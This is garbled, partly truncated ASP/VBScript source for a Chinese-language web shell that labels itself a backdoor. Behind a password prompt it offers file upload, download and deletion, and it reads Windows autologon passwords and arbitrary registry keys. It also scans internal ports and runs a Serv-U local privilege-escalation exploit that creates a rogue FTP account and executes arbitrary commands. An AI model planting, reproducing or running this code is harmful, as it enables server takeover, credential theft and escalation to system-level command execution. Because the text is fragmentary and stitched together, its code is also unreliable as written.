<% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next UserPass="643617" '密码 mName="BY:.尐飛" '后门名字 Copyright="注:请勿用于非法用途,否则后果作者概不负责" '版权
Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next sub ShowErr() If Err Then RRS" " & Err.Description & " " Err.Clear:Response.Flush End If end sub Sub RRS(str) response.write(str) End Sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function URL=Request.ServerVariables("URL") ServerIP=Request.ServerVariables("LOCAL_ADDR") Action=Request("Action") RootPath=Server.MapPath(".") WWWRoot=Server.MapPath("/") serveru=request.servervariables("http_host")&url serverp=userpass FolderPath=Request("FolderPath") FName=Request("FName") BackUrl="
" RRS"" End Function Sub unPack(thePath) On Error Resume Next Server.ScriptTimeOut = 5000 Dim rs, ws, str, conn, stream, connStr, theFolder str = Server.MapPath(".") & "\" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" conn.Open connStr rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs ("thePath"), "\")) If fsoX.FolderExists(str & theFolder) = False Then createFolder(str & theFolder) End If stream.SetEos() stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub createFolder(thePath) Dim i i = Instr(thePath, "\") Do While i > 0 If fsoX.FolderExists(Left(thePath, i)) = False Then fsoX.CreateFolder(Left(thePath, i - 1)) End If If InStr(Mid(thePath, i + 1), "\") Then i = i + Instr(Mid(thePath, i + 1), "\") Else i = 0 End If Loop End Sub Function Course() SI="
cellpadding='0' align='center'>" SI=SI&"
系 统用户与服务
" on error resume next for each obj in getObject("WinNT://.") err.clear if OBJ.StartType="" then SI=SI&"
" SI=SI&"
" SI=SI&obj.Name SI=SI&"
" SI=SI&"系统用户(组)" SI=SI&"
" SI0="
colspan=""2"">
" end if if OBJ.StartType=2 then lx="自动" if OBJ.StartType=3 then lx="手动" if OBJ.StartType=4 then lx="禁用" if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then SI1=SI1&"
" Next RRS SI End Function Function DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length", OSM.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI=" 请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="
文件"&UName&"上传成功!
" End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl RRS SI ShowErr() Response.End End If SI="
align='center'>" SI=SI&"
" RRS SI End Function Function Cmd1Shell() checked=" checked" If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "diy3.asp" if Request("wscript")<>"yes" then checked="" If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="" RRS SI End Function if session("web2a2dmin")<>UserPass then if request.form("pass")<>"" then if request.form("pass")=UserPass then session("web2a2dmin")=UserPass response.redirect url else rrs"
注: 请勿用于非法用途,否则后果自负!!!
align=center>HACK by:漫步云端 " end if else si="
#222;padding:22px;margin:100px;'> target='_blank'>"&mname&"" RRS SI End Function Function CopyFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.CopyFile Path(0),Path(1) SI="
文件"&Path(0)&"复制成功!
" SI=SI&BackUrl RRS SI End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.MoveFile Path(0),Path(1) SI="
文件"&Path(0)&"移动成功!
" SI=SI&BackUrl RRS SI End If End Function Function DelFolder(Path) If CF.FolderExists(Path) Then CF.DeleteFolder Path SI="
目录"&Path&"删除成功!
" SI=SI&BackUrl RRS SI End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.CopyFolder Path(0),Path(1) SI="
目录"&Path(0)&"复制成功!
" SI=SI&BackUrl RRS SI End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.MoveFolder Path(0),Path(1) SI="
目录"&Path(0)&"移动成功!
" SI=SI&BackUrl RRS SI End If End Function Function NewFolder(Path) If Not CF.FolderExists(Path) and Path<>"" Then CF.CreateFolder Path SI="
目录"&Path&"新建成功!
" SI=SI&BackUrl RRS SI End If End Function End Class sub getTerminalInfo() On Error Resume Next Set wsX = Server.CreateObject("WScript.Shell") Dim terminalPortPath, terminalPortKey, termPort Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" terminalPortKey = "PortNumber" termPort = wsX.RegRead(terminalPortPath & terminalPortKey) RRS "终端服务端口及自动登录" If termPort = "" Or Err.Number <> 0 Then RRS"无法得到终端服务端口, 请检查权限是否已经受到限制. " Else RRS "当前终端服务端口: " & termPort & " " End If autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey = "AutoAdminLogon" autoLoginUserKey = "DefaultUserName" autoLoginPassKey = "DefaultPassword" isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) If isAutoLoginEnable = 0 Then RRS "系统自动登录功能未开启 " Else autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) RRS "自动登录的系统帐户: " & autoLoginUsername & " " autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear RRS "False" End If RRS "自动登录的帐户密码: " & autoLoginPassword & " " End If RRS "" End Sub sub ReadREG() RRS "注册表键值读取:" RRS "" if Request("thePath")<>"" then On Error Resume Next Set wsX = Server.CreateObject("WScript.Shell") thePath=Request("thePath") theArray=wsX.RegRead(thePath) If IsArray(theArray) Then For i=0 To UBound(theArray) RRS "
" & theArray(i) Next Else RRS "
" & theArray End If end if end sub sub ScanPort() Server.ScriptTimeout = 7776000 if request.Form("port")="" then PortList="21,23,25,80,110,135,139,445,1433,3389,43958" else PortList=request.Form("port") end if if request.Form("ip")="" then IP="127.0.0.1" else IP=request.Form("ip") end if RRS"
端口扫描器
" RRS"" If request.Form("scan") <> "" Then timer1 = timer RRS("扫描报告: ") tmp = Split(request.Form("port"),",") ip = Split(request.Form("ip"),",") For hu = 0 to Ubound(ip) If InStr(ip(hu),"-") = 0 Then For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ip(hu), tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ip(hu), j) Next Else RRS(startN & " or " & endN & " is not number ") End If Else RRS(tmp(i) & " is not number ") End If End If Next Else ipStart = Mid(ip(hu),1,InStrRev(ip(hu),".")) For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip (hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ipStart & xxx, tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ipStart & xxx,j) Next Else RRS(startN & " or " & endN & " is not number ") End If Else RRS(tmp(i) & " is not number ") End If End If Next Next End If Next timer2 = timer thetime=cstr(int(timer2-timer1)) RRS"Process in "&thetime&" s" END IF end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........关闭 ") Else RRS(targetip & ":" & portNum & ".........开放 ") End If End If End If End Sub Select Case Action Case "MainMenu":MainMenu() Case "getTerminalInfo":getTerminalInfo() case "ScanPort":ScanPort() Case "Servu" SUaction=request("SUaction") if not isnumeric(SUaction) then response.end user = trim(request("u")) pass = trim(request("p")) port = trim(request("port")) cmd = trim(request("c")) f=trim(request("f")) if f="" then f=gpath() else f=left(f,2) end if ftpport = 65500 timeout=3 loginuser = "User " & user & vbCrLf loginpass = "Pass " & pass & vbCrLf deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf mt = "SITE MAINTENANCE" & vbCrLf newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "- PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "- Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "- AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "- SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "- QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf quit = "QUIT" & vbCrLf newuser=replace(newuser,"c:",f) select case SUaction case 1 set a=Server.CreateObject("Microsoft.XMLHTTP") a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit set session("a")=a RRS"" RRS"" case 2 set b=Server.CreateObject("Microsoft.XMLHTTP") b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit set session("b")=b RRS"" RRS"" case 3 set c=Server.CreateObject("Microsoft.XMLHTTP") a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" a.send loginuser & loginpass & mt & deldomain & quit set session("a")=a RRS"
提权完毕,已执行了命令: color=red>"&cmd&"
" RRS"Action=Servu';"">" RRS"
" case else on error resume next set a=session("a") set b=session("b") set c=session("c") a.abort Set a = Nothing b.abort Set b = Nothing c.abort Set c = Nothing RRS"
" end select function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function
Case "kmuma" dim Report if request.QueryString("act")<>"scan" then RRS ("网站根目录- "&Server.MapPath("/")&" ") RRS ("本程序目录- "&Server.MapPath("."))
RRS "" else if request.Form("path")="" then RRS("路径不能为空") response.End() end if if request.Form("path")="\" then TmpPath = Server.MapPath("\") elseif request.Form("path")="." then TmpPath = Server.MapPath(".") else TmpPath = request.Form("path") end if
timer1 = timer Sun = 0 SumFiles = 0 SumFolders = 1 If request.Form("radiobutton") = "sws" Then DimFileExt = "asp,cer,asa,cdx" Call ShowAllFile(TmpPath) Else If request.Form("path") = "" or request.Form ("Search_Date") = "" or request.Form("Search_FileExt") = "" Then RRS("缉捕条件不完全
" Sun = Sun + 1 temp="-=| 同上 |=-" End if If instr( filetxt, Lcase ("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase ("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then Report = Report&"
" Sun = Sun + 1 temp="-=| 同上 |=-" End If Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "\bLANGUAGE\s*=\s*[""]?\s* (vbscript|jscript|javascript).encode\b" If regEx.Test(filetxt) Then Report = Report&"